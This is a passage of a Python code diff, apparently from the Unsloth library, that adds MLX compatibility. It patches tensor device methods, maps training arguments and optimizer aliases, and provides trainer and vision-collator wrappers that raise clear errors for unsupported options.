+                    "int32": torch.int32,
+                    "int64": torch.int64,
+                    "uint8": torch.uint8,
+                    "float16": torch.float16,
+                    "float32": torch.float32,
+                    "bfloat16": torch.bfloat16,
+                }
+                return name_map.get(dtype_name, value)
+
+            def mlx_tensor_to(self, *args, **kwargs):
+                """Ignore CUDA device targets while preserving dtype conversions."""
+                args = list(args)
+                kwargs = dict(kwargs)
+                removed_cuda_device = False
+                if args and _is_mlx_cuda_device_target(args[0]):
+                    args.pop(0)
+                    removed_cuda_device = True
+                if _is_mlx_cuda_device_target(kwargs.get("device", None)):
+                    kwargs.pop("device", None)
+                    removed_cuda_device = True
+                if removed_cuda_device and not args:
+                    cuda_only_kwargs = ("non_blocking", "copy", "memory_format")
+                    if all(key in cuda_only_kwargs for key in kwargs):
+                        return self
+                if removed_cuda_device and not args and not kwargs:
+                    return self
+                if args:
+                    args[0] = _coerce_mlx_dtype_to_torch(args[0])
+                if "dtype" in kwargs:
+                    kwargs["dtype"] = _coerce_mlx_dtype_to_torch(kwargs["dtype"])
+                return tensor_to(self, *args, **kwargs)
+
+            mlx_tensor_to._unsloth_mlx_cuda_noop = True
+            mlx_tensor_to._unsloth_original_to = tensor_to
+            torch.Tensor.to = mlx_tensor_to
+
+        tensor_cuda = getattr(torch.Tensor, "cuda", None)
+        if tensor_cuda is not None and not getattr(tensor_cuda, "_unsloth_mlx_cuda_noop", False):
+
+            def mlx_tensor_cuda(self, *args, **kwargs):
+                """Treat tensor.cuda() as a no-op on MLX."""
+                return self
+
+            mlx_tensor_cuda._unsloth_mlx_cuda_noop = True
+            mlx_tensor_cuda._unsloth_original_cuda = tensor_cuda
+            torch.Tensor.cuda = mlx_tensor_cuda
+
+    _patch_mlx_torch_cuda_compat_api()
+
+    _MLX_TRAINING_CONFIG_FIELDS = {_field.name for _field in _dataclasses.fields(MLXTrainingConfig)}
+    _MLX_TRAINING_ARGUMENT_ALIASES = {
+        "max_length": "max_seq_length",
+    }
+    _MLX_COMPAT_EXTRA_ARGUMENTS = frozenset(
+        (
+            "bf16",
+            "dataloader_num_workers",
+            "dataloader_pin_memory",
+            "dataset_kwargs",
+            "ddp_find_unused_parameters",
+            "disable_tqdm",
+            "eval_strategy",
+            "evaluation_strategy",
+            "fp16",
+            "full_determinism",
+            "gradient_checkpointing_kwargs",
+            "hub_model_id",
+            "hub_token",
+            "log_level",
+            "logging_strategy",
+            "neftune_noise_alpha",
+            "optim_args",
+            "padding_free",
+            "push_to_hub",
+            "remove_unused_columns",
+            "save_on_each_node",
+            "save_safetensors",
+            "save_strategy",
+            "torch_compile",
+        )
+    )
+    _MLX_IMPLEMENTED_EXTRA_ARGUMENTS = frozenset(
+        (
+            "image_size",
+            "preserve_dataset_order",
+            "warmup_ratio",
+        )
+    )
+    _MLX_ALLOWED_EXTRA_ARGUMENTS = _MLX_COMPAT_EXTRA_ARGUMENTS | _MLX_IMPLEMENTED_EXTRA_ARGUMENTS
+    _MLX_UNSUPPORTED_TASK_ARGUMENTS = frozenset(
+        (
+            "assistant_only_loss",
+            "completion_only_loss",
+        )
+    )
+
+    def _is_mlx_no_save_strategy(value):
+        if hasattr(value, "value"):
+            value = value.value
+        strategy = str(value or "").strip().lower()
+        strategy = strategy.rsplit(".", 1)[-1]
+        return strategy in ("no", "none", "false")
+
+    _MLX_ADAMW_OPTIMIZER_ALIASES = frozenset(
+        (
+            "adamw_8bit",
+            "paged_adamw_8bit",
+            "adamw_bnb_8bit",
+            "paged_adamw_32bit",
+            "adamw_torch",
+            "adamw_torch_fused",
+            "paged_adamw",
+            "adamw_32bit",
+            "adamw_hf",
+            "adamw_anyprecision",
+            "adamw_apex_fused",
+        )
+    )
+
+    def _normalize_mlx_training_value(key, value):
+        if key == "eval_steps" and value is None:
+            return 0
+        if key == "num_train_epochs" and value is not None and not isinstance(value, bool):
+            try:
+                epochs = float(value)
+            except (TypeError, ValueError):
+                pass
+            else:
+                if epochs.is_integer():
+                    return int(epochs)
+        if key == "lr_scheduler_type" and hasattr(value, "value"):
+            return value.value
+        if key != "optim":
+            return value
+        try:
+            return _normalize_mlx_optimizer_name(value)
+        except ValueError:
+            # Older unsloth-zoo lacks CUDA/TRL optimizer aliases; map common
+            # adamw_* names so notebook defaults (optim="adamw_8bit") still work.
+            opt = str(getattr(value, "value", value) or "adamw").strip().lower()
+            opt = opt.rsplit(".", 1)[-1].replace("-", "_")
+            if opt in _MLX_ADAMW_OPTIMIZER_ALIASES:
+                return "adamw"
+            raise
+
+    def _mlx_training_argument_values(args):
+        values = {}
+        for field in _dataclasses.fields(MLXTrainingConfig):
+            if hasattr(args, field.name):
+                values[field.name] = _normalize_mlx_training_value(
+                    field.name,
+                    getattr(args, field.name),
+                )
+        for alias, target in _MLX_TRAINING_ARGUMENT_ALIASES.items():
+            if target not in values and hasattr(args, alias):
+                values[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else alias] = getattr(
+                    args, alias
+                )
+        for name in _MLX_ALLOWED_EXTRA_ARGUMENTS:
+            if hasattr(args, name):
+                values[name] = getattr(args, name)
+        for name in _MLX_UNSUPPORTED_TASK_ARGUMENTS:
+            if hasattr(args, name):
+                value = getattr(args, name)
+                if (
+                    name == "completion_only_loss"
+                    and value is not None
+                    and name in _MLX_TRAINING_CONFIG_FIELDS
+                ):
+                    values[name] = value
+                elif value is not None and value is not False:
+                    values[name] = value
+        if _is_mlx_no_save_strategy(values.get("save_strategy", None)):
+            values["save_steps"] = 0
+        return values
+
+    def _split_mlx_trainer_kwargs(kwargs):
+        trainer_kwargs = {}
+        config_kwargs = {}
+        ignored_kwargs = {}
+        for key, value in kwargs.items():
+            if key in _MLX_TRAINER_KWARGS:
+                trainer_kwargs[key] = value
+                continue
+            target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key)
+            if target in _MLX_TRAINING_CONFIG_FIELDS or key in _MLX_ALLOWED_EXTRA_ARGUMENTS:
+                config_kwargs[key] = value
+            else:
+                ignored_kwargs[key] = value
+        return trainer_kwargs, config_kwargs, ignored_kwargs
+
+    def _is_mlx_training_args_like(value):
+        if isinstance(value, (MLXTrainingConfig, dict, str, os.PathLike)):
+            return True
+        return any(
+            hasattr(value, name)
+            for name in (
+                "output_dir",
+                "per_device_train_batch_size",
+                "gradient_accumulation_steps",
+                "max_steps",
+                "learning_rate",
+            )
+        )
+
+    def _should_use_trl_positional_schema(args):
+        if len(args) < 2:
+            return False
+        if _is_mlx_training_args_like(args[1]):
+            return True
+        # TRL callers often pass explicit defaults:
+        # SFTTrainer(model, None, None, train_dataset, ...)
+        return len(args) >= 3 and args[1] is None and (args[2] is None or callable(args[2]))
+
+    def _assign_mlx_positional_kwarg(kwargs, name, value):
+        if name in kwargs:
+            raise TypeError(
+                f"UnslothTrainer.__init__() got multiple values for argument " f"{name!r}"
+            )
+        kwargs[name] = value
+
+    def _normalize_mlx_trainer_init_args(args, kwargs):
+        kwargs = dict(kwargs)
+        if len(args) == 0:
+            return kwargs
+
+        use_trl_schema = _should_use_trl_positional_schema(args)
+        positional_names = (
+            _TRL_SFT_TRAINER_POSITIONAL_KWARGS if use_trl_schema else _MLX_TRAINER_POSITIONAL_KWARGS
+        )
+        if len(args) > len(positional_names):
+            raise TypeError(
+                f"UnslothTrainer.__init__() takes at most "
+                f"{len(positional_names)} positional arguments on MLX "
+                f"({len(args)} given)"
+            )
+        for name, value in zip(positional_names, args):
+            _assign_mlx_positional_kwarg(kwargs, name, value)
+        return kwargs
+
+    def _is_meaningful_mlx_extra_value(value):
+        if value is None or value is False:
+            return False
+        if isinstance(value, (str, bytes)) and len(value) == 0:
+            return False
+        if isinstance(value, (dict, list, tuple, set, frozenset)) and len(value) == 0:
+            return False
+        return True
+
+    def _warn_ignored_mlx_training_args(extra_kwargs):
+        names = sorted(
+            key
+            for key, value in extra_kwargs.items()
+            if (key in _MLX_COMPAT_EXTRA_ARGUMENTS and _is_meaningful_mlx_extra_value(value))
+        )
+        if not names:
+            return
+        _warnings.warn(
+            "Unsloth MLX: accepting but not applying unsupported "
+            "TrainingArguments kwargs: "
+            f"{', '.join(names)}. These options are not implemented by "
+            "MLXTrainer yet.",
+            RuntimeWarning,
+            stacklevel = 3,
+        )
+
+    def _is_meaningful_mlx_trainer_kwarg(key, value):
+        if key == "optimizers" and value == (None, None):
+            return False
+        return _is_meaningful_mlx_extra_value(value)
+
+    def _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs):
+        names = sorted(
+            key
+            for key, value in ignored_kwargs.items()
+            if _is_meaningful_mlx_trainer_kwarg(key, value)
+        )
+        if not names:
+            return
+        raise NotImplementedError(
+            "Unsloth MLX: unsupported SFTTrainer kwargs cannot be ignored safely: "
+            f"{', '.join(names)}. Remove these kwargs or use a supported MLX "
+            "trainer configuration."
+        )
+
+    def _raise_unknown_mlx_training_args(extra_kwargs):
+        names = sorted(key for key in extra_kwargs if key not in _MLX_ALLOWED_EXTRA_ARGUMENTS)
+        if not names:
+            return
+        raise NotImplementedError(
+            "Unsloth MLX: unsupported TrainingArguments/SFTConfig kwargs: "
+            f"{', '.join(names)}. Remove these kwargs or use fields implemented "
+            "by MLXTrainingConfig."
+        )
+
+    def _positive_mlx_context_length(value):
+        if value is None or isinstance(value, bool):
+            return None
+        try:
+            length = int(value)
+        except (TypeError, ValueError, OverflowError):
+            return None
+        if length <= 0:
+            return None
+        return length
+
+    def _positive_mlx_training_number(value):
+        if value is None or isinstance(value, bool):
+            return None
+        try:
+            number = float(value)
+        except (TypeError, ValueError, OverflowError):
+            return None
+        if number <= 0:
+            return None
+        return number
+
+    def _set_mlx_cuda_style_context_length(args, length):
+        args.max_seq_length = length
+        args.max_length = length
+        args._unsloth_mlx_max_length_value = length
+        return args
+
+    class UnslothTrainingArguments(MLXTrainingConfig):
+        """MLX-compatible public training arguments for Unsloth notebooks."""
+
+        def __init__(self, *args, **kwargs):
+            if len(args) == 1 and isinstance(args[0], dict):
+                kwargs = {**args[0], **kwargs}
+            elif len(args) == 1 and isinstance(args[0], (str, os.PathLike)):
+                kwargs = {"output_dir": os.fspath(args[0]), **kwargs}
+            elif args:
+                raise TypeError(
+                    "UnslothTrainingArguments on MLX accepts keyword arguments, "
+                    "a dict, or a single positional output_dir."
+                )
+
+            max_length_value = kwargs.get("max_length", None)
+            # Only the canonical max_seq_length marks context length explicit; TRL
+            # max_length stays a compatibility alias and defers to the model's
+            # context length when one is available.
+            max_seq_length_explicit = (
+                _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None
+            )
+            if "max_length" in kwargs and "max_seq_length" not in kwargs:
+                kwargs["max_seq_length"] = kwargs["max_length"]
+            elif (
+                "max_length" in kwargs
+                and _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None
+            ):
+                max_length_value = kwargs["max_seq_length"]
+            if "num_train_epochs" in kwargs and "max_steps" not in kwargs:
+                kwargs["max_steps"] = -1
+
+            dataset_order_explicit = "dataset_order" in kwargs or bool(
+                kwargs.get("preserve_dataset_order", False)
+            )
+            append_eos_explicit = "append_eos" in kwargs
+            grad_clip_explicit = any(
+                name in kwargs for name in ("max_grad_norm", "max_grad_value", "max_grad_leaf_norm")
+            )
+            warmup_ratio = kwargs.get("warmup_ratio", None)
+            warmup_steps_supplied = "warmup_steps" in kwargs
+            warmup_steps_value = kwargs.get("warmup_steps", None)
+            warmup_steps_explicit = False
+            if warmup_steps_supplied:
+                try:
+                    warmup_steps_explicit = int(warmup_steps_value) > 0
+                except (TypeError, ValueError):
+                    warmup_steps_explicit = True
+            filtered_kwargs = {}
+            extra_kwargs = {}
+            for key, value in kwargs.items():
+                target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key)
+                if key != target and target in kwargs:
+                    continue
+                value = _normalize_mlx_training_value(target, value)
+                if target in _MLX_UNSUPPORTED_TASK_ARGUMENTS:
+                    if (
+                        target == "completion_only_loss"
+                        and value is not None
+                        and target in _MLX_TRAINING_CONFIG_FIELDS
+                    ):
+                        filtered_kwargs[target] = value
+                    elif _is_meaningful_mlx_extra_value(value):
+                        extra_kwargs[key] = value
+                    continue
+                if target in _MLX_TRAINING_CONFIG_FIELDS:
+                    filtered_kwargs[target] = value
+                else:
+                    extra_kwargs[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else key] = value
+
+            _raise_unknown_mlx_training_args(extra_kwargs)
+
+            if _is_mlx_no_save_strategy(extra_kwargs.get("save_strategy", None)):
+                filtered_kwargs["save_steps"] = 0
+
+            if warmup_ratio is not None and not warmup_steps_explicit:
+                import math as _math
+                max_steps = filtered_kwargs.get(
+                    "max_steps",
+                    getattr(MLXTrainingConfig, "max_steps", 60),
+                )
+                try:
+                    if int(max_steps) > 0:
+                        filtered_kwargs["warmup_steps"] = max(
+                            0,
+                            _math.ceil(int(max_steps) * float(warmup_ratio)),
+                        )
+                except (TypeError, ValueError):
+                    pass
+
+            super().__init__(**filtered_kwargs)
+            self._unsloth_mlx_dataset_order_explicit = dataset_order_explicit
+            self._unsloth_mlx_append_eos_explicit = append_eos_explicit
+            self._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit
+            self._unsloth_mlx_max_length_value = max_length_value
+            if "max_length" in kwargs:
+                self.max_length = max_length_value
+            self._unsloth_mlx_grad_clip_explicit = grad_clip_explicit
+            self._unsloth_mlx_warmup_steps_explicit = warmup_steps_explicit
+            self._unsloth_mlx_extra_args = extra_kwargs
+            for key, value in extra_kwargs.items():
+                setattr(self, key, value)
+            _warn_ignored_mlx_training_args(extra_kwargs)
+
+    def _resolve_mlx_cuda_style_max_seq_length(args, model = None):
+        model_max_seq_length = _positive_mlx_context_length(
+            getattr(model, "max_seq_length", None),
+        )
+        args_max_seq_length = _positive_mlx_context_length(
+            getattr(args, "max_seq_length", None),
+        )
+        args_max_seq_length_explicit = getattr(
+            args,
+            "_unsloth_mlx_max_seq_length_explicit",
+            None,
+        )
+        if args_max_seq_length_explicit is None:
+            default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048)
+            args_max_seq_length_explicit = (
+                args_max_seq_length is not None and args_max_seq_length != default_max_seq_length
+            )
+        if not args_max_seq_length_explicit:
+            args_max_seq_length = None
+
+        if args_max_seq_length is None and model_max_seq_length is not None:
+            args_max_seq_length = model_max_seq_length
+        elif (
+            args_max_seq_length is not None
+            and model_max_seq_length is not None
+            and args_max_seq_length > model_max_seq_length
+        ):
+            print(
+                "Unsloth: You set `max_seq_length` as "
+                f"{args_max_seq_length} but the maximum the model supports is "
+                f"{model_max_seq_length}. We shall reduce it."
+            )
+            args_max_seq_length = model_max_seq_length
+
+        if args_max_seq_length is not None:
+            _set_mlx_cuda_style_context_length(args, args_max_seq_length)
+            return args
+
+        model_max_length = model_max_seq_length
+        if model_max_length is None:
+            model_max_length = _positive_mlx_context_length(
+                getattr(model, "max_length", None),
+            )
+        if model_max_length is not None:
+            _set_mlx_cuda_style_context_length(args, model_max_length)
+            return args
+
+        args_max_length = _positive_mlx_context_length(
+            getattr(args, "max_length", None),
+        )
+        if args_max_length is None:
+            args_max_length = _positive_mlx_context_length(
+                getattr(args, "_unsloth_mlx_max_length_value", None),
+            )
+        if args_max_length is not None:
+            _set_mlx_cuda_style_context_length(args, args_max_length)
+            if model is not None:
+                setattr(model, "max_seq_length", args_max_length)
+            return args
+
+        _set_mlx_cuda_style_context_length(args, 1024)
+        return args
+
+    def _apply_unsloth_trainer_mlx_defaults(
+        args,
+        model = None,
+        max_seq_length_explicit = False,
+    ):
+        if (
+            not getattr(args, "streaming", False)
+            and not getattr(args, "preserve_dataset_order", False)
+            and not getattr(args, "_unsloth_mlx_dataset_order_explicit", False)
+        ):
+            default_order = getattr(MLXTrainingConfig, "dataset_order", "default")
+            if getattr(args, "dataset_order", default_order) in (None, default_order):
+                args.dataset_order = "torch_randperm"
+
+        if isinstance(args, UnslothTrainingArguments) and not getattr(
+            args, "_unsloth_mlx_append_eos_explicit", False
+        ):
+            args.append_eos = False
+
+        if isinstance(args, UnslothTrainingArguments) and not getattr(
+            args, "_unsloth_mlx_grad_clip_explicit", False
+        ):
+            max_grad_norm = _positive_mlx_training_number(
+                getattr(args, "max_grad_norm", None),
+            )
+            max_grad_value = _positive_mlx_training_number(
+                getattr(args, "max_grad_value", None),
+            )
+            max_grad_leaf_norm = _positive_mlx_training_number(
+                getattr(args, "max_grad_leaf_norm", None),
+            )
+            if max_grad_norm is None and max_grad_value is None and max_grad_leaf_norm is None:
+                args.max_grad_norm = 1.0
+
+        if not max_seq_length_explicit:
+            _resolve_mlx_cuda_style_max_seq_length(args, model = model)
+        return args
+
+    def _coerce_mlx_training_args(args, overrides = None):
+        overrides = overrides or {}
+        if isinstance(args, MLXTrainingConfig) and not overrides:
+            return args
+        dataset_order_explicit = None
+        append_eos_explicit = None
+        max_seq_length_explicit = None
+        max_length_value = None
+        grad_clip_explicit = None
+        if args is None:
+            values = {}
+        elif isinstance(args, dict):
+            values = dict(args)
+        elif isinstance(args, (str, os.PathLike)):
+            values = {"output_dir": os.fspath(args)}
+        else:
+            dataset_order_explicit = getattr(
+                args,
+                "_unsloth_mlx_dataset_order_explicit",
+                False,
+            )
+            append_eos_explicit = getattr(
+                args,
+                "_unsloth_mlx_append_eos_explicit",
+                None,
+            )
+            max_seq_length_explicit = getattr(
+                args,
+                "_unsloth_mlx_max_seq_length_explicit",
+                None,
+            )
+            if max_seq_length_explicit is None:
+                args_max_seq_length = _positive_mlx_context_length(
+                    getattr(args, "max_seq_length", None),
+                )
+                default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048)
+                max_seq_length_explicit = (
+                    args_max_seq_length is not None
+                    and args_max_seq_length != default_max_seq_length
+                )
+            max_length_value = getattr(
+                args,
+                "_unsloth_mlx_max_length_value",
+                getattr(args, "max_length", None),
+            )
+            grad_clip_explicit = getattr(
+                args,
+                "_unsloth_mlx_grad_clip_explicit",
+                None,
+            )
+            values = _mlx_training_argument_values(args)
+            if hasattr(args, "max_length"):
+                values["max_length"] = getattr(args, "max_length")
+        values.update(overrides)
+        coerced = UnslothTrainingArguments(**values)
+        if (
+            dataset_order_explicit is not None
+            and "dataset_order" not in overrides
+            and "preserve_dataset_order" not in overrides
+        ):
+            coerced._unsloth_mlx_dataset_order_explicit = dataset_order_explicit
+        if append_eos_explicit is not None and "append_eos" not in overrides:
+            coerced._unsloth_mlx_append_eos_explicit = append_eos_explicit
+        if (
+            max_seq_length_explicit is not None
+            and "max_seq_length" not in overrides
+            and "max_length" not in overrides
+        ):
+            coerced._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit
+        if max_length_value is not None and "max_length" not in overrides:
+            coerced._unsloth_mlx_max_length_value = max_length_value
+            coerced.max_length = max_length_value
+        if (
+            grad_clip_explicit is not None
+            and "max_grad_norm" not in overrides
+            and "max_grad_value" not in overrides
+            and "max_grad_leaf_norm" not in overrides
+        ):
+            coerced._unsloth_mlx_grad_clip_explicit = grad_clip_explicit
+        return coerced
+
+    _MLX_TRAINER_POSITIONAL_KWARGS = (
+        "model",
+        "tokenizer",
+        "train_dataset",
+        "eval_dataset",
+        "dataset_text_field",
+        "max_seq_length",
+        "packing",
+        "data_collator",
+        "args",
+        "formatting_func",
+        "processor",
+    )
+    _TRL_SFT_TRAINER_POSITIONAL_KWARGS = (
+        "model",
+        "args",
+        "data_collator",
+        "train_dataset",
+        "eval_dataset",
+        "processing_class",
+        "compute_loss_func",
+        "compute_metrics",
+        "callbacks",
+        "optimizers",
+        "optimizer_cls_and_kwargs",
+        "preprocess_logits_for_metrics",
+        "peft_config",
+        "formatting_func",
+    )
+    _MLX_TRAINER_KWARGS = frozenset(_MLX_TRAINER_POSITIONAL_KWARGS)
+
+    def _is_mlx_native_text_collator(collator):
+        """HF pad/copy collators are redundant on MLX; match by class name."""
+        for klass in type(collator).__mro__:
+            name = klass.__name__
+            if name in (
+                "DataCollatorForSeq2Seq",
+                "DataCollatorWithPadding",
+                "DefaultDataCollator",
+            ):
+                return True
+            if name == "DataCollatorForLanguageModeling":
+                # Plain causal padding is fine; MLM masking changes semantics.
+                return not bool(getattr(collator, "mlm", False))
+        return False
+
+    _MLX_VISION_COLLATOR_FORWARDED_KWARGS = frozenset(
+        ("completion_only_loss", "formatting_func", "max_seq_length")
+    )
+    _MLX_VISION_COLLATOR_IMAGE_KWARGS = frozenset(("image_size", "resize"))
+    _MLX_VISION_COLLATOR_POSITIONAL_KWARGS = (
+        "max_seq_length",
+        "formatting_func",
+        "resize",
+        "ignore_index",
+        "train_on_responses_only",
+        "instruction_part",
+        "response_part",
+        "force_match",
+        "num_proc",
+        "completion_only_loss",
+        "pad_to_multiple_of",
+        "resize_dimension",
+        "snap_to_patch_size",
+        "last_response_only",
+    )
+    _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS = {
+        "ignore_index": -100,
+        "train_on_responses_only": False,
+        "instruction_part": None,
+        "response_part": None,
+        "force_match": True,
+        "num_proc": None,
+        "pad_to_multiple_of": None,
+        "resize_dimension": 0,
+        "snap_to_patch_size": False,
+        "last_response_only": False,
+    }
+
+    def _is_default_mlx_vision_collator_value(key, value):
+        """Return whether an unsupported collator value is the CUDA default."""
+        if key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS:
+            return False
+        default = _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS[key]
+        if default is None:
+            return value is None
+        if isinstance(default, bool):
+            return value is default
+        return value == default and type(value) is type(default)
+
+    def _has_mlx_training_arg_value(args, key):
+        """Return whether training args already carry an explicit config value."""
+        if args is None or isinstance(args, (str, os.PathLike)):
+            return False
+        if isinstance(args, dict):
+            return key in args
+        return getattr(args, key, None) is not None
+
+    def _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs):
+        """Reject VLM collator kwargs that cannot be ignored safely on MLX."""
+        unsupported = sorted(
+            key
+            for key, value in collator_kwargs.items()
+            if (
+                key not in _MLX_VISION_COLLATOR_FORWARDED_KWARGS
+                and key not in _MLX_VISION_COLLATOR_IMAGE_KWARGS
+                and (
+                    (
+                        key in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS
+                        and not _is_default_mlx_vision_collator_value(key, value)
+                    )
+                    or (
+                        key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS
+                        and _is_meaningful_mlx_extra_value(value)
+                    )
+                )
+            )
+        )
+        if unsupported:
+            raise NotImplementedError(
+                "Unsloth MLX: unsupported UnslothVisionDataCollator kwargs "
+                f"cannot be ignored safely: {', '.join(unsupported)}."
+            )
+
+    class UnslothTrainer(MLXTrainer):
+        """Backend-aware public trainer that routes supported SFT notebooks to MLX."""
+
+        def __init__(self, *args, **kwargs):
+            kwargs = _normalize_mlx_trainer_init_args(args, kwargs)
+            processing_class = kwargs.pop("processing_class", None)
+            processor_from_processing_class = False
+            if processing_class is not None:
+                if kwargs.get("processor", None) is None:
+                    kwargs["processor"] = processing_class
+                    processor_from_processing_class = True
+                if kwargs.get("tokenizer", None) is None:
+                    kwargs["tokenizer"] = getattr(
+                        processing_class,
+                        "tokenizer",
+                        processing_class,
+                    )
+            kwargs.setdefault("tokenizer", None)
+
+            data_collator = kwargs.pop("data_collator", None)
+            if data_collator is not None:
+                if isinstance(data_collator, UnslothVisionDataCollator):
+                    collator_processor = getattr(data_collator, "processor", None)
+                    if collator_processor is not None and (
+                        kwargs.get("processor", None) is None or processor_from_processing_class
+                    ):
+                        kwargs["processor"] = collator_processor
+                        if kwargs.get("tokenizer", None) is None:
+                            kwargs["tokenizer"] = getattr(
+                                collator_processor,
+                                "tokenizer",
+                                collator_processor,
+                            )
+                    collator_kwargs = getattr(data_collator, "kwargs", None) or {}
+                    collator_explicit_kwargs = getattr(
+                        data_collator,
+                        "_unsloth_mlx_explicit_kwargs",
+                        set(collator_kwargs),
+                    )
+                    collator_image_size = collator_kwargs.get(
+                        "image_size",
+                        collator_kwargs.get("resize", None),
+                    )
+                    if isinstance(collator_image_size, list):
+                        collator_image_size = tuple(collator_image_size)
+                    if (
+                        isinstance(collator_image_size, str)
+                        and collator_image_size.lower() == "max"
+                    ):
+                        collator_image_size = "max"
+                    if "image_size" not in kwargs and (
+                        isinstance(collator_image_size, int)
+                        or collator_image_size == "max"
+                        or (
+                            isinstance(collator_image_size, tuple)
+                            and len(collator_image_size) == 2
+                            and all(isinstance(x, int) for x in collator_image_size)
+                        )
+                    ):
+                        kwargs["image_size"] = collator_image_size
+                    for collator_key in _MLX_VISION_COLLATOR_FORWARDED_KWARGS:
+                        collator_defaulted_value = collator_key not in collator_explicit_kwargs
+                        if collator_defaulted_value and _has_mlx_training_arg_value(
+                            kwargs.get("args"), collator_key
+                        ):
+                            continue
+                        if (
+                            collator_key in collator_kwargs
+                            and collator_key not in kwargs
+                            and collator_kwargs[collator_key] is not None
+                        ):
+                            kwargs[collator_key] = collator_kwargs[collator_key]
+                    _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs)
+                elif _is_mlx_native_text_collator(data_collator):
+                    pass  # redundant on MLX; MLXTrainer batches/masks/pads natively
+                else:
+                    raise NotImplementedError(
+                        "Unsloth MLX: custom data_collator is not supported by "
+                        "MLXTrainer. Pass the dataset directly or use the MLX "
+                        "trainer's native batching path."
+                    )
+
+            trainer_kwargs, config_kwargs, ignored_kwargs = _split_mlx_trainer_kwargs(kwargs)
+            _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs)
+            trainer_kwargs["args"] = _coerce_mlx_training_args(
+                trainer_kwargs.get("args"),
+                config_kwargs,
+            )
+            if getattr(
+                trainer_kwargs["args"], "completion_only_loss", None
+            ) is True and not _is_vlm_model(trainer_kwargs.get("model")):
+                raise NotImplementedError(
+                    "Unsloth MLX: completion_only_loss=True is only supported "
+                    "for VLM training. For text SFT, call train_on_responses_only "
+                    "after constructing the trainer."
+                )
+            if getattr(
+                trainer_kwargs["args"], "train_on_completions", None
+            ) is True and not _is_vlm_model(trainer_kwargs.get("model")):
+                raise NotImplementedError(
+                    "Unsloth MLX: train_on_completions=True is only supported "
+                    "for VLM training. For text SFT, call train_on_responses_only "
+                    "after constructing the trainer."
+                )
+            trainer_kwargs["args"] = _apply_unsloth_trainer_mlx_defaults(
+                trainer_kwargs["args"],
+                model = trainer_kwargs.get("model"),
+                max_seq_length_explicit = (trainer_kwargs.get("max_seq_length") is not None),
+            )
+
+            super().__init__(**trainer_kwargs)
+            self.processing_class = (
+                processing_class
+                if processing_class is not None
+                else self.processor or self.tokenizer
+            )
+            if trainer_kwargs.get("max_seq_length") is not None:
+                _set_mlx_cuda_style_context_length(
+                    self.args,
+                    self.args.max_seq_length,
+                )
+            self._unsloth_mlx_ignored_trainer_kwargs = ignored_kwargs
+
     class UnslothVisionDataCollator:
+        def __init__(
+            self,
+            model = None,
+            processor = None,
+            *args,
+            **kwargs,
+        ):
+            explicit_kwargs = set(kwargs)
+            if len(args) > len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS):
+                raise TypeError(
+                    "UnslothVisionDataCollator on MLX accepts at most "
+                    f"{len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS)} positional "
+                    "options after model and processor."
+                )
+            for key, value in zip(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS, args):
+                if key in kwargs:
+                    raise TypeError(
+                        f"UnslothVisionDataCollator got multiple values for argument {key!r}"
+                    )
+                kwargs[key] = value
+                explicit_kwargs.add(key)
+            if "completion_only_loss" not in kwargs:
+                kwargs["completion_only_loss"] = True
+            self.model = model
+            self.processor = processor
+            self.args = ()
+            self.kwargs = kwargs
+            self._unsloth_mlx_explicit_kwargs = explicit_kwargs
+
+        def __call__(self, features):
+            raise NotImplementedError(
+                "Unsloth: UnslothVisionDataCollator is a compatibility placeholder "
+                "on MLX. Pass the dataset to UnslothTrainer; MLXTrainer performs "
+                "vision batching internally."
+            )
+
+    def get_chat_template(*args, **kwargs):
+        """Apply an Unsloth chat template through a lazy MLX-safe import."""
+        from .chat_templates import get_chat_template as _get_chat_template
+        return _get_chat_template(*args, **kwargs)
+
+    def apply_chat_template(*args, **kwargs):
+        """Format a dataset with an Unsloth chat template through a lazy import."""
+        from .chat_templates import apply_chat_template as _apply_chat_template
+        return _apply_chat_template(*args, **kwargs)
+
+    def standardize_data_formats(*args, **kwargs):
+        """Normalize ShareGPT-style datasets through the shared zoo helper."""
+        from unsloth_zoo.dataset_utils import standardize_data_formats as _standardize_data_formats
+        return _standardize_data_formats(*args, **kwargs)
+
+    def standardize_sharegpt(*args, **kwargs):
+        """Alias ShareGPT standardization to the shared dataset-format helper."""
+        return standardize_data_formats(*args, **kwargs)
+
+    def train_on_responses_only(*args, **kwargs):
+        """Mask non-response tokens through the shared zoo dataset helper."""
+        from unsloth_zoo.dataset_utils import train_on_responses_only as _train_on_responses_only
+        return _train_on_responses_only(*args, **kwargs)
+
+    def _safe_mlx_trl_star_exports(_trl):
+        """Return importable TRL star exports plus the MLX SFT shims."""
+        exports = list(getattr(_trl, "__all__", ()))
+        safe_exports = []
+        for name in exports:
+            try:
+                getattr(_trl, name)
+            except Exception:
+                continue
+            safe_exports.append(name)
+        for name in ("SFTConfig", "SFTTrainer"):
+            if name not in safe_exports:
+                safe_exports.append(name)
+        return safe_exports
+
+    # trl trainers with no MLX implementation yet. Swap them for stubs that fail
+    # with a clear message instead of importing the real torch/CUDA trainer and
+    # crashing deep inside it, so an unmigrated GRPO/DPO/ORPO notebook is legible.
+    _MLX_UNSUPPORTED_TRL_TRAINERS = (
+        "GRPOTrainer",
+        "DPOTrainer",
+        "ORPOTrainer",
+        "KTOTrainer",
+        "PPOTrainer",
+        "RewardTrainer",
+    )
+
+    def _make_mlx_unsupported_trl_trainer(name):
         def __init__(self, *args, **kwargs):
